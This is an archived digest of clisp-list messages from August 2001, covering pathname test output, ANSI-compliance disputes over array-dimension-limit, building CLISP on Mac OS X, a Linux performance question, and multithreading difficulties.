Testing namestring with pathname as 
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:ABSOLUTE "TMP")
   :NAME "FOO" :TYPE "BAR" :VERSION 3).

Mistake in host-namestring.

Calling (host-namestring <logical-pathname>) should return
the string name of the logical host, here "UNIX", but
(host-namestring pathname) => "".

Mistake in directory-namestring.

Calling (directory-namestring <logical-pathname>) should return
the string name of the logical directory, here "TMP;", but
(directory-namestring pathname) => "/tmp/".

Mistake in file-namestring.

Calling (file-namestring <logical-pathname>) should return
the string name of the logical file, here "FOO.BAR.3", but
(file-namestring pathname) => "foo.bar".

Mistake in namestring.

Calling (namestring <logical-pathname>) should return
The string name of the logical file, here "UNIX:TMP;FOO.BAR.3", but
(namestring pathname) => "/tmp/foo.bar".

----------------------------------------------------------------------

Testing namestring with pathname as 
#S(LOGICAL-PATHNAME :HOST "UNIX" :DEVICE NIL :DIRECTORY (:RELATIVE "TMP")
   :NAME "FOO" :TYPE "BAR" :VERSION 3).

Mistake in host-namestring.

Calling (host-namestring <logical-pathname>) should return
the string name of the logical host, here "UNIX", but
(host-namestring pathname) => "".

Mistake in directory-namestring.

Calling (directory-namestring <logical-pathname>) should return
the string name of the logical directory, here ";TMP;", but
(directory-namestring pathname) => "tmp/".

Mistake in file-namestring.

Calling (file-namestring <logical-pathname>) should return
the string name of the logical file, here "FOO.BAR.3", but
(file-namestring pathname) => "foo.bar".

Mistake in namestring.

Calling (namestring <logical-pathname>) should return
The string name of the logical file, here "UNIX:;TMP;FOO.BAR.3", but
(namestring pathname) => "tmp/foo.bar".

----------------------------------------------------------------------

Testing namestring with pathname as #P"/TMP/FOO.BAR".

----------------------------------------------------------------------

Testing namestring with pathname as #P"TMP/FOO.BAR".

----------------------------------------------------------------------

Testing namestring with pathname as #P"/tmp/foo.bar".

----------------------------------------------------------------------

Testing namestring with pathname as #P"tmp/foo.bar".

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> * In message <20010825105739.A16382@cam.ac.uk>
> * On the subject of "Re: [clisp-list] Pathname tests"
> * Sent on Sat, 25 Aug 2001 10:57:39 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> There are two issues, only one of which this code is testing; one is
> making sure that `answers' from pathname functions are right; the
> other is that errors are not thrown when executing compliant code. I
> am not testing the latter; if an implementation throws errors when
> executing valid code, it's broken beyond the remit of my tests; I'm
> testing for mistakes in the interpretation/reading of the standard.

In that case it would have been helpful if you added something like
this:

#+clisp
(progn
  (format t "putting CLISP in ANSI compatibility mode~%")
  (setq ext:*merge-pathnames-ansi* t
        ext:*parse-namestring-ansi* t))

> > I suggest that you look at the CLOCC/src/tools/ansi-test and the CLISP
> > test suite (on which the CLOCC tests are based).
> 
> I suggest that when you test your implementation for ANSI compliance
> you run it in ANSI mode; it's not all that surprising that odd effects
> occur when you don't;

you are right - I forgot to add -ansi.  my fault.
still, the fact that you do not supply the form(s) that generated the
errors makes your test suite much less useful.

> > It would be nice if your test could be added to those test suites.
> 
> Yes; the problem lies in constructing things that can lie in an
> already-established framework. The problem in doing this is that often
> there is no uniquely-determined answer (should the device be nil or
> :unspecific? What should the version be in (make-pathname)?) and so it
> isn't quite as simple as just copying and pasting into an existing
> test framework.

this is a very common problem and it has been successfully solved in
both CLISP test suite and the CLOCC one.

> hope that the output is sufficiently clear;

not at all.  good output allows using cut and paste to reproduce errors.
i.e., you should print the entire forms which lead to incorrect output
together with all the init forms (defining logical hosts &c).
CLOCC/src/tools/ansi-tests also prints references to the parts of the
manual on which the particular test is based - which is very good.

again, please see CLISP/tests and CLOCC/src/tools/ansi-test for
examples.

I will look at the problems on Monday.

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... returns ("").

While working with CL-XML, this causes problems.  Is the above
nickname conformant?

Cheers

BTW.  The same happens in CMUCL.

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> * In message <200108251840.OAA14935@octagon.mrl.nyu.edu>
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> .... returns ("").
> Is the above nickname conformant?

yes, why not?

> While working with CL-XML, this causes problems.  

it caused me no problems with CLLIB/xml.lisp

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> > * In message <200108251840.OAA14935@octagon.mrl.nyu.edu>
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> > .... returns ("").
> > Is the above nickname conformant?
> 
> yes, why not?

I don't know.  I haven't checked the CLHS.  Looks like ACL, CMUCL and
CLisp do this, while MCL and LW return ().

> 
> > While working with CL-XML, this causes problems.  
> 
> it caused me no problems with CLLIB/xml.lisp

CL-XML is a different package.

       http://homepage.mac.com/james_anderson/XML/

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I recently downloaded CLISP 2.25.1 for the MAC OS X but I am having
trouble getting it built.
The instructions state to type make at the UNIX prompt, but Apple's
version of UNIX doesn't
have the make executable.  Can I merely download the make command from
GNU?
Is there anything else I need to do?

Thanks to all who ported CLISP to MAC.

Les



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Les,

Did you install the developer tools? They're on a separate CD from the main 
end-user system that's on the primary install CD.

I seem to recall seeing somewhere that you only get the developer tool's CD 
with the retail MacOS X package, but you don't get that CD or the tools 
when your MacOS X was pre-installed on a Mac purchased recently enough to 
have MacOS X pre-installed.

In that case, you can no doubt download the necessary tools from Apple's 
developer Web site. Very little in the way of Apple's tools are charged for 
these days.

Good luck.

Randall Schulz
Mountain View, CA USA


At 19:54 2001-08-29, you wrote:
>I recently downloaded CLISP 2.25.1 for the MAC OS X but I am having
>trouble getting it built.
>The instructions state to type make at the UNIX prompt, but Apple's
>version of UNIX doesn't
>have the make executable.  Can I merely download the make command from
>GNU?
>Is there anything else I need to do?
>
>Thanks to all who ported CLISP to MAC.
>
>Les



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I installed RedHat 7.1, full installation,  and CLISP 2.27.   Both
installations seem to went well without any problems.
 
My general problem is that CLISP is running very slow. My CLISP program is
timed based - It runs an
algorithm for certain periods of time then exits. The program measures
runtime not clock time.  
It takes about 3X times longer to run the program. I have checked the
processor utilization using the "top" command.  The CLISP program always has
98%+ of the CPU.  In an attempt for a solution, I changed the "priority" of
the lisp executable from "0" to "-10".   
 
Can anyone help?   Could it be a bug in CLISP 2.27?  Could it be a bug in
RedHat?   Could it be a RedHat Admin problem?  What demons don't I need?
I'm clueless on a solution.  Should I down grade to RedHat 7.0?   Should I
down grade CLISP?   FYI the RedHat system is non GUI.  
 
I know my CLISP program works well in Windows 2000, and RedHat 7.0.     
 
Any help is welcome..
 
Randy Justice         
 

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<P><FONT SIZE=3D2>&nbsp;</FONT>
<BR><FONT SIZE=3D2>My general problem is that CLISP is running very =
slow. My CLISP program is timed based - It runs an</FONT>
<BR><FONT SIZE=3D2>algorithm for certain periods of time then exits. =
The program measures runtime not clock time.&nbsp; </FONT>
<BR><FONT SIZE=3D2>It takes about 3X times longer to run the program. I =
have checked the processor utilization using the &quot;top&quot; =
command.&nbsp; The CLISP program always has 98%+ of the CPU.&nbsp; In =
an attempt for a solution, I changed the &quot;priority&quot; of the =
lisp executable from &quot;0&quot; to &quot;-10&quot;.&nbsp;&nbsp; =
</FONT></P>

<P><FONT SIZE=3D2>&nbsp;</FONT>
<BR><FONT SIZE=3D2>Can anyone help?&nbsp;&nbsp; Could it be a bug in =
CLISP 2.27?&nbsp; Could it be a bug in RedHat?&nbsp;&nbsp; Could it be =
a RedHat Admin problem?&nbsp; What demons don't I need?&nbsp; I'm =
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system is non GUI.&nbsp; </FONT></P>

<P><FONT SIZE=3D2>&nbsp;</FONT>
<BR><FONT SIZE=3D2>I know my CLISP program works well in Windows 2000, =
and RedHat 7.0.&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2>&nbsp;</FONT>
<BR><FONT SIZE=3D2>Any help is welcome..</FONT>
<BR><FONT SIZE=3D2>&nbsp;</FONT>
<BR><FONT SIZE=3D2>Randy =
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> * In message <B4CA1F5D8D23D411ADC7009027E791BF013ED626@pens0394.cnet.navy.Mil>
> * On the subject of "[clisp-list] RedHat 7.1 and CLISP 2.27"
> * Sent on Thu, 30 Aug 2001 07:29:02 -0500
> * Honorable "Justice, Randy -CONT\(DYN\)" <Randy.Justice@cnet.navy.mil> writes:
>
> I installed RedHat 7.1, full installation, and CLISP 2.27.  Both
> installations seem to went well without any problems.

can you make an RPM?

> My general problem is that CLISP is running very slow. My CLISP
> program is timed based - It runs an algorithm for certain periods of
> time then exits. The program measures runtime not clock time.  It
> takes about 3X times longer to run the program.

compared to what?

> I changed the "priority" of the lisp executable from "0" to "-10".
this is not likely to help.

> Can anyone help?  Could it be a bug in CLISP 2.27?  Could it be a bug
> in RedHat?  Could it be a RedHat Admin problem?  What demons don't I
> need?  I'm clueless on a solution.  Should I down grade to RedHat 7.0?
> Should I down grade CLISP?  FYI the RedHat system is non GUI.

> I know my CLISP program works well in Windows 2000, and RedHat 7.0.     

1. please make sure that you are running compiled code on both win2k,
   rh7 and rh7.1

2. if you still observe the performance hit, get
      CLOCC/src/tools/monitor/metering.lisp
   and find out which part of the program is hit.



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I will try to make an RPM..  I have not made one, but I have read the
instructions a few times..

I'm am running, "compiled code" in Windows 2k, RH 7 and RH7.1.   One a
different note, 
I have seen great improvement using "Compile-file" 

"> My general problem is that CLISP is running very slow. My CLISP
> program is timed based - It runs an algorithm for certain periods of
> time then exits. The program measures runtime not clock time.  It
> takes about 3X times longer to run the program.

compared to what?"

Looking at the "total execution time" in Win2K - Task Manager CPU TIME, and
RH 7.0 - "top",  compared to the expected/reasonable amount of completion.
For example, a test case is scheduled for about 4 hours 
of "cpu/runtime.",  and the machine will take a little over 4 hours of
"total execution time" - the total elapsed time might be 5-6 hours depending
on how "busy" the system. On RH7.1 the "total execution time" is not in
align with expected/reasonable amount of completion.  It's looks like 
the CLISP is constantly being preempted by something, except the "top"
command don't show anything
else being executed--except for the "normal" system stuff. 

I will look at "CLOCC/src/tools/monitor/metering.lisp".

Any Ideals?

Randy
 


-----Original Message-----
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> * In message
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> * On the subject of "[clisp-list] RedHat 7.1 and CLISP 2.27"
> * Sent on Thu, 30 Aug 2001 07:29:02 -0500
> * Honorable "Justice, Randy -CONT\(DYN\)" <Randy.Justice@cnet.navy.mil>
writes:
>
> I installed RedHat 7.1, full installation, and CLISP 2.27.  Both
> installations seem to went well without any problems.

can you make an RPM?

> My general problem is that CLISP is running very slow. My CLISP
> program is timed based - It runs an algorithm for certain periods of
> time then exits. The program measures runtime not clock time.  It
> takes about 3X times longer to run the program.

compared to what?

> I changed the "priority" of the lisp executable from "0" to "-10".
this is not likely to help.

> Can anyone help?  Could it be a bug in CLISP 2.27?  Could it be a bug
> in RedHat?  Could it be a RedHat Admin problem?  What demons don't I
> need?  I'm clueless on a solution.  Should I down grade to RedHat 7.0?
> Should I down grade CLISP?  FYI the RedHat system is non GUI.

> I know my CLISP program works well in Windows 2000, and RedHat 7.0.     

1. please make sure that you are running compiled code on both win2k,
   rh7 and rh7.1

2. if you still observe the performance hit, get
      CLOCC/src/tools/monitor/metering.lisp
   and find out which part of the program is hit.



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<P><FONT SIZE=3D2>I will try to make an RPM..&nbsp; I have not made =
one, but I have read the instructions a few times..</FONT>
</P>

<P><FONT SIZE=3D2>I'm am running, &quot;compiled code&quot; in Windows =
2k, RH 7 and RH7.1.&nbsp;&nbsp; One a different note, </FONT>
<BR><FONT SIZE=3D2>I have seen great improvement using =
&quot;Compile-file&quot; </FONT>
</P>

<P><FONT SIZE=3D2>&quot;&gt; My general problem is that CLISP is =
running very slow. My CLISP</FONT>
<BR><FONT SIZE=3D2>&gt; program is timed based - It runs an algorithm =
for certain periods of</FONT>
<BR><FONT SIZE=3D2>&gt; time then exits. The program measures runtime =
not clock time.&nbsp; It</FONT>
<BR><FONT SIZE=3D2>&gt; takes about 3X times longer to run the =
program.</FONT>
</P>

<P><FONT SIZE=3D2>compared to what?&quot;</FONT>
</P>

<P><FONT SIZE=3D2>Looking at the &quot;total execution time&quot; in =
Win2K - Task Manager CPU TIME, and RH 7.0 - &quot;top&quot;,&nbsp; =
compared to the expected/reasonable amount of completion.&nbsp; For =
example, a test case is scheduled for about 4 hours </FONT></P>

<P><FONT SIZE=3D2>of &quot;cpu/runtime.&quot;,&nbsp; and the machine =
will take a little over 4 hours of &quot;total execution time&quot; - =
the total elapsed time might be 5-6 hours depending on how =
&quot;busy&quot; the system. On RH7.1 the &quot;total execution =
time&quot; is not in align with expected/reasonable amount of =
completion.&nbsp; It's looks like </FONT></P>

<P><FONT SIZE=3D2>the CLISP is constantly being preempted by something, =
except the &quot;top&quot; command don't show anything</FONT>
<BR><FONT SIZE=3D2>else being executed--except for the =
&quot;normal&quot; system stuff. </FONT>
</P>

<P><FONT SIZE=3D2>I will look at =
&quot;CLOCC/src/tools/monitor/metering.lisp&quot;.</FONT>
</P>

<P><FONT SIZE=3D2>Any Ideals?</FONT>
</P>

<P><FONT SIZE=3D2>Randy</FONT>
<BR><FONT SIZE=3D2>&nbsp;</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Sam Steingold [<A =
HREF=3D"mailto:sds@gnu.org">mailto:sds@gnu.org</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Thursday, August 30, 2001 8:34 AM</FONT>
<BR><FONT SIZE=3D2>To: Justice, Randy -CONT(DYN)</FONT>
<BR><FONT SIZE=3D2>Cc: clisp-list@lists.sourceforge.net</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [clisp-list] RedHat 7.1 and CLISP =
2.27</FONT>
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<BR><FONT SIZE=3D2>&gt; * On the subject of &quot;[clisp-list] RedHat =
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-0500</FONT>
<BR><FONT SIZE=3D2>&gt; * Honorable &quot;Justice, Randy =
-CONT\(DYN\)&quot; &lt;Randy.Justice@cnet.navy.mil&gt; writes:</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; I installed RedHat 7.1, full installation, and =
CLISP 2.27.&nbsp; Both</FONT>
<BR><FONT SIZE=3D2>&gt; installations seem to went well without any =
problems.</FONT>
</P>

<P><FONT SIZE=3D2>can you make an RPM?</FONT>
</P>

<P><FONT SIZE=3D2>&gt; My general problem is that CLISP is running very =
slow. My CLISP</FONT>
<BR><FONT SIZE=3D2>&gt; program is timed based - It runs an algorithm =
for certain periods of</FONT>
<BR><FONT SIZE=3D2>&gt; time then exits. The program measures runtime =
not clock time.&nbsp; It</FONT>
<BR><FONT SIZE=3D2>&gt; takes about 3X times longer to run the =
program.</FONT>
</P>

<P><FONT SIZE=3D2>compared to what?</FONT>
</P>

<P><FONT SIZE=3D2>&gt; I changed the &quot;priority&quot; of the lisp =
executable from &quot;0&quot; to &quot;-10&quot;.</FONT>
<BR><FONT SIZE=3D2>this is not likely to help.</FONT>
</P>

<P><FONT SIZE=3D2>&gt; Can anyone help?&nbsp; Could it be a bug in =
CLISP 2.27?&nbsp; Could it be a bug</FONT>
<BR><FONT SIZE=3D2>&gt; in RedHat?&nbsp; Could it be a RedHat Admin =
problem?&nbsp; What demons don't I</FONT>
<BR><FONT SIZE=3D2>&gt; need?&nbsp; I'm clueless on a solution.&nbsp; =
Should I down grade to RedHat 7.0?</FONT>
<BR><FONT SIZE=3D2>&gt; Should I down grade CLISP?&nbsp; FYI the RedHat =
system is non GUI.</FONT>
</P>

<P><FONT SIZE=3D2>&gt; I know my CLISP program works well in Windows =
2000, and RedHat 7.0.&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
</P>

<P><FONT SIZE=3D2>1. please make sure that you are running compiled =
code on both win2k,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; rh7 and rh7.1</FONT>
</P>

<P><FONT SIZE=3D2>2. if you still observe the performance hit, =
get</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
CLOCC/src/tools/monitor/metering.lisp</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; and find out which part of the program =
is hit.</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Sam Steingold (<A =
HREF=3D"http://www.podval.org/~sds" =
TARGET=3D"_blank">http://www.podval.org/~sds</A>)</FONT>
<BR><FONT SIZE=3D2>Support Israel's right to defend herself! &lt;<A =
HREF=3D"http://www.i-charity.com/go/israel" =
TARGET=3D"_blank">http://www.i-charity.com/go/israel</A>&gt;</FONT>
<BR><FONT SIZE=3D2>Read what the Arab leaders say to their people on =
&lt;<A HREF=3D"http://www.memri.org/" =
TARGET=3D"_blank">http://www.memri.org/</A>&gt;</FONT>
<BR><FONT SIZE=3D2>Software is like sex: it's better when it's =
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In CLISP 2.27 (released 2001-07-17) for x86-Linux

 most-positive-fixnum  evaluates to  16777215  and
 array-dimension-limit to 16777216

with a consequence

 (typep array-dimension-limit 'fixnum)
 => NIL 

that collides with CLHS, which describes array-dimension-limit as
'a positive _fixnum_, the exact magnitude of which is
implementation-dependent, but which is not less than 1024'.


Is a fix known?


Regards,
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> * In message <m3vgj5a27q.fsf@buss-14250.user.cis.dfn.de>
> * On the subject of "[clisp-list] array-dimension-limit"
> * Sent on 30 Aug 2001 19:26:33 +0200
> * Honorable wbuss@gmx.net (Wolfhard Bu=DF) writes:
>
> In CLISP 2.27 (released 2001-07-17) for x86-Linux
>=20
>  most-positive-fixnum  evaluates to  16777215  and
>  array-dimension-limit to 16777216
>=20
> with a consequence
>=20
>  (typep array-dimension-limit 'fixnum)
>  =3D> NIL=20
>=20
> that collides with CLHS, which describes array-dimension-limit as
> 'a positive _fixnum_, the exact magnitude of which is
> implementation-dependent, but which is not less than 1024'.

yes, we are aware of this.
there are some other constants which exhibit the same problem,
like ARRAY-TOTAL-SIZE-LIMIT.

this is a case of "what's your problem, is the bride too beautiful?"
CLISP does slightly more than is required - it supports arrays to the
full extent of the FIXNUM range, not just to some part of it.
we could, of course, decrease the value of the ARRAY-DIMENSION-LIMIT and
friends, but it would not buy you anything: you will just loose ability
to create arrays [0..MOST-POSITIVE-FIXNUM].

> Is a fix known?

what is your problem?

--=20
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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> this is a case of "what's your problem, is the bride too beautiful?"
    Sam> CLISP does slightly more than is required - it supports arrays to the
    Sam> full extent of the FIXNUM range, not just to some part of it.
    Sam> we could, of course, decrease the value of the ARRAY-DIMENSION-LIMIT and
    Sam> friends, but it would not buy you anything: you will just loose ability
    Sam> to create arrays [0..MOST-POSITIVE-FIXNUM].

With Clisp "2.27 (released 2001-07-17)..." on an Ultrasparc I get:

> (make-array (1+ most-positive-fixnum))
==>
*** - MAKE-ARRAY: dimension 16777216 is not of type `(INTEGER 0 (,ARRAY-DIMENSION-LIMIT))

So how do I make an array with indices [0..most-positive-fixnum]? 

    Sam> what is your problem?

I would say that in ansi mode, array-dimension-limit should be a
fixnum as the CLHS says.  Unless ansi mode really means "kind of ansi
but not always".

Ray


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> * In message <4nzo8hbd3d.fsf@rtp.ericsson.se>
> * On the subject of "Re: [clisp-list] array-dimension-limit"
> * Sent on 30 Aug 2001 14:46:14 -0400
> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
>
> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> 
>     Sam> this is a case of "what's your problem, is the bride too beautiful?"
>     Sam> CLISP does slightly more than is required - it supports arrays to the
>     Sam> full extent of the FIXNUM range, not just to some part of it.
>     Sam> we could, of course, decrease the value of the ARRAY-DIMENSION-LIMIT and
>     Sam> friends, but it would not buy you anything: you will just loose ability
>     Sam> to create arrays [0..MOST-POSITIVE-FIXNUM].
> 
> With Clisp "2.27 (released 2001-07-17)..." on an Ultrasparc I get:
> 
> > (make-array (1+ most-positive-fixnum))
> ==>
> *** - MAKE-ARRAY: dimension 16777216 is not of type `(INTEGER 0 (,ARRAY-DIMENSION-LIMIT))
> 
> So how do I make an array with indices [0..most-positive-fixnum]? 

I meant [0..most-positive-fixnum-1]
array-total-size-limit is "> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> 
>     Sam> this is a case of "what's your problem, is the bride too beautiful?"
>     Sam> CLISP does slightly more than is required - it supports arrays to the
>     Sam> full extent of the FIXNUM range, not just to some part of it.
>     Sam> we could, of course, decrease the value of the ARRAY-DIMENSION-LIMIT and
>     Sam> friends, but it would not buy you anything: you will just loose ability
>     Sam> to create arrays [0..MOST-POSITIVE-FIXNUM].
> 
> With Clisp "2.27 (released 2001-07-17)..." on an Ultrasparc I get:
> 
> > (make-array (1+ most-positive-fixnum))
> ==>
> *** - MAKE-ARRAY: dimension 16777216 is not of type `(INTEGER 0 (,ARRAY-DIMENSION-LIMIT))
> 
> So how do I make an array with indices [0..most-positive-fixnum]? 

I meant [0..most-positive-fixnum-1] for total size of
MOST-POSITIVE-FIXNUM:
> (length (make-array most-positive-fixnum))
16777215
>

ARRAY-TOTAL-SIZE-LIMIT is
 "The upper exclusive bound on the array total size of an array."
thus if ARRAY-TOTAL-SIZE-LIMIT == MOST-POSITIVE-FIXNUM, we cannot do
(make-array most-positive-fixnum)

thus the choice is
 (1) disable (make-array most-positive-fixnum)
 (2) break the standard by either
     - ARRAY-TOTAL-SIZE-LIMIT is not fixnum
     - ARRAY-TOTAL-SIZE-LIMIT is the inclusive, not exclusive bound.

I don't like any of the solutions.
Since the whole idea of ARRAY-TOTAL-SIZE-LIMIT being a fixnum is to
allow efficient arithmetics on array indexes and CLISP ignores type
declarations anyway, the current non-compliance should not matter.


-- 
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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

[weird stuttering deleted]

    Sam> ARRAY-TOTAL-SIZE-LIMIT is
    Sam>  "The upper exclusive bound on the array total size of an array."
    Sam> thus if ARRAY-TOTAL-SIZE-LIMIT == MOST-POSITIVE-FIXNUM, we cannot do
    Sam> (make-array most-positive-fixnum)

    Sam> thus the choice is
    Sam>  (1) disable (make-array most-positive-fixnum)
    Sam>  (2) break the standard by either
    Sam>      - ARRAY-TOTAL-SIZE-LIMIT is not fixnum
    Sam>      - ARRAY-TOTAL-SIZE-LIMIT is the inclusive, not exclusive bound.

CMUCL does (1).  But then it can't allocate 2 GB of data (for 32-bit
elements) anyway.  (Well, you can on x86 FreeBSD where that's the max
heap size, so you couldn't do much after you've allocated the data.)

    Sam> I don't like any of the solutions.
    Sam> Since the whole idea of ARRAY-TOTAL-SIZE-LIMIT being a fixnum is to
    Sam> allow efficient arithmetics on array indexes and CLISP ignores type
    Sam> declarations anyway, the current non-compliance should not matter.

Fair enough.  I've never had a reason to use an array of that size and
even if I did, I probably couldn't wait long enough for the program to
finish.... :-) So lopping off one single element won't bother me at
all.

On a side note, how does Clisp represent fixnums?  Are they boxed up? 

Ray


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> * In message <4nzo8h9q2x.fsf@rtp.ericsson.se>
> * On the subject of "Re: [clisp-list] array-dimension-limit"
> * Sent on 30 Aug 2001 17:48:38 -0400
> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
>
> I've never had a reason to use an array of that size and even if I
> did, I probably couldn't wait long enough for the program to
> finish.... :-) So lopping off one single element won't bother me at
> all.

[3]> (time (= most-positive-fixnum (length (make-array most-positive-fixnum))))
Real time: 0.671 sec.
Run time: 0.650936 sec.
Space: 67108868 Bytes
GC: 1, GC time: 0.0100144 sec.
t
[4]>

fast enough for me.

> On a side note, how does Clisp represent fixnums?  Are they boxed up? 

no, fixnums (and some other things, like chars) are immediate.
(CLISP has 24 bit fixnums.)

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Sam Steingold <sds@gnu.org> writes:

> ARRAY-TOTAL-SIZE-LIMIT is
>  "The upper exclusive bound on the array total size of an array."
> thus if ARRAY-TOTAL-SIZE-LIMIT == MOST-POSITIVE-FIXNUM, we cannot do
> (make-array most-positive-fixnum)
> 
> thus the choice is
>  (1) disable (make-array most-positive-fixnum)
>  (2) break the standard by either
>      - ARRAY-TOTAL-SIZE-LIMIT is not fixnum
>      - ARRAY-TOTAL-SIZE-LIMIT is the inclusive, not exclusive bound.
> 
> I don't like any of the solutions.
> Since the whole idea of ARRAY-TOTAL-SIZE-LIMIT being a fixnum is to
> allow efficient arithmetics on array indexes and CLISP ignores type
> declarations anyway, the current non-compliance should not matter.

 
There is at least one piece of software, i.e. ACL2, that depends on

 (typep array-total-size-limit 'fixnum)
 => T

So I would like to 'disable (make-array most-positive-fixnum)', to make
clisp's ansi mode a bit more ansi compliant.

I am interested in patches for clisp 2.27 to achieve this. 


Regards,
Wolfhard


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> * In message <m3ofowij4q.fsf@buss-14250.user.cis.dfn.de>
> * On the subject of "Re: [clisp-list] array-dimension-limit"
> * Sent on 31 Aug 2001 13:06:13 +0200
> * Honorable wbuss@gmx.net (Wolfhard Bu=DF) writes:
>
> There is at least one piece of software, i.e. ACL2, that depends on
>=20
>  (typep array-total-size-limit 'fixnum)
>  =3D> T

what is ACL2?
how does it depend on this?
could you please provide sources and the error message from CLISP?


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Sam Steingold <sds@gnu.org> writes:

> ARRAY-TOTAL-SIZE-LIMIT is
>  "The upper exclusive bound on the array total size of an array."
> thus if ARRAY-TOTAL-SIZE-LIMIT == MOST-POSITIVE-FIXNUM, we cannot do
> (make-array most-positive-fixnum)
> 
> thus the choice is
>  (1) disable (make-array most-positive-fixnum)
>  (2) break the standard by either
>      - ARRAY-TOTAL-SIZE-LIMIT is not fixnum
>      - ARRAY-TOTAL-SIZE-LIMIT is the inclusive, not exclusive bound.
> 
> I don't like any of the solutions.
> Since the whole idea of ARRAY-TOTAL-SIZE-LIMIT being a fixnum is to
> allow efficient arithmetics on array indexes and CLISP ignores type
> declarations anyway, the current non-compliance should not matter.

 
There is at least one piece of software, i.e. ACL2, that depends on

 (typep array-total-size-limit 'fixnum)
 => T

So I would like to 'disable (make-array most-positive-fixnum)', to make
clisp's ansi mode a bit more ansi compliant.

I am interested in patches for clisp 2.27 to achieve this. 


Regards,
Wolfhard


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>>>>> "Wolfhard" =3D=3D Wolfhard Bu=DF <wbuss@gmx.net> writes:

    Wolfhard> Sam Steingold <sds@gnu.org> writes:
    >> ARRAY-TOTAL-SIZE-LIMIT is
    >> "The upper exclusive bound on the array total size of an array."
    >> thus if ARRAY-TOTAL-SIZE-LIMIT =3D=3D MOST-POSITIVE-FIXNUM, we canno=
t do
    >> (make-array most-positive-fixnum)
    >>=20
    >> thus the choice is
    >> (1) disable (make-array most-positive-fixnum)
    >> (2) break the standard by either
    >> - ARRAY-TOTAL-SIZE-LIMIT is not fixnum
    >> - ARRAY-TOTAL-SIZE-LIMIT is the inclusive, not exclusive bound.
    >>=20
    >> I don't like any of the solutions.
    >> Since the whole idea of ARRAY-TOTAL-SIZE-LIMIT being a fixnum is to
    >> allow efficient arithmetics on array indexes and CLISP ignores type
    >> declarations anyway, the current non-compliance should not matter.

=20
    Wolfhard> There is at least one piece of software, i.e. ACL2, that depe=
nds on

    Wolfhard>  (typep array-total-size-limit 'fixnum)
    Wolfhard>  =3D> T

Why does it care and what is ACL2?

I have to say I don't understand why any piece of code (other than the
lisp internals) would really care that array-total-size-limit is or is
not a fixnum.

Ray


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> * In message <15247.53634.323148.252924@isis.cs3-inc.com>
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> * Sent on Fri, 31 Aug 2001 11:03:46 -0700
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> Sam Steingold writes:
>  > 
>  > try building CLISP with -DMULTITHREAD and make it work on your platform.
> 
> There are a number of topics, such as special binding and garbage
> collection.  What I thought (and still think) is the major problem is
> finding operations that should be regarded as atomic in lisp but
> require multiple heap accesses, and arranging somehow to protect
> these.

while, obviously, important, these issues are "step 1".
"step 0" is getting CLISP STACK and GC work with MT.
this is what I meant - just getting CLISP compile with -DMULTITHREAD is
a challenge (lisp.run compiles on Solaris and NT but crashes on startup).
after getting this, we can work on the rest.

-- 
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I just created an OS X binary distribution - where do I post it for 
other, more fortunate, OS X clisp users?

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> * In message <200108311908.f7VJ82o10837@bjork.codefab.com>
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> I just created an OS X binary distribution - where do I post it for
> other, more fortunate, OS X clisp users?

what CLISP version?
can you put the distribution in a place I could d/l it from?
thanks!

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> * In message <200108311908.f7VJ82o10837@bjork.codefab.com>
> * On the subject of "[clisp-list] OS X Binary"
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> I just created an OS X binary distribution - where do I post it for
> other, more fortunate, OS X clisp users?

thanks - this binary is now available from
ftp://clisp.sourceforge.net/pub/clisp/latest/ 

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Raymond Toy <toy@rtp.ericsson.se> writes:

>     Wolfhard> There is at least one piece of software, i.e. ACL2,
>     Wolfhard> that depends on
> 
>     Wolfhard>  (typep array-total-size-limit 'fixnum)
>     Wolfhard>  => T
> 
> Why does it care and what is ACL2?
> 
> I have to say I don't understand why any piece of code (other than the
> lisp internals) would really care that array-total-size-limit is or is
> not a fixnum.

ACL2: 'A Computational Logic for Applicative Common Lisp' [1] is 'An
Industrial Strength Theorem Prover for a Logic Based on Common Lisp' [2],
a small applicative subset of CLtL2.
ACL2 is an automated reasoning system used to verify Hardware and Software
systems.
bignums are not a data type in ACL and because of the close connection
between ACL and the underlying Common Lisp there is no place for arrays 
with possibly bignum elements.  No place in a formal language which is
the base of a logic.

The implementation depends on the fixnum array-total-size-limit. It's
probably conceptually impossible to change this. 

Fixing clisp's ansi mode is the way to go.

You may look at the sources yourself.


Regards,
Wolfhard


Footnotes: 
[1]  http://www.cs.utexas.edu/users/moore/acl2/

[2]  http://www.cs.utexas.edu/users/moore/publications/



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Sam Steingold writes:
 > > What will it take to do, and how easy would it be to contribute to
 > > adding multi-threading?
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 > try building CLISP with -DMULTITHREAD and make it work on your platform.

This seems an appropriate place to reopen the discussion last seen on
this list (I believe) on July 22 about why MT is not so trivial.
After that message I reopened a corresponding discussion (from 1996!)
with Franz and got back some stuff that's worth sharing.
There are a number of topics, such as special binding and garbage
collection.  What I thought (and still think) is the major problem is
finding operations that should be regarded as atomic in lisp but
require multiple heap accesses, and arranging somehow to protect
these.  Here's a good example:

Robert F. Rorschach writes: (I hope he doesn't mind me quoting him)
         (aref some-adjustable-array index)
  should either get an error for the index being out of range or return an 
  element of the array.... it shouldn't be possible for the array to
  change size after the internal range test on index but before the
  element is fetched, causing a fetch from outside the actual array.

I assume it's not difficult to insert code to protect such an
operation (on a case by case basis), but I have no idea how to go
about identifying all of them.  And this is what would be needed
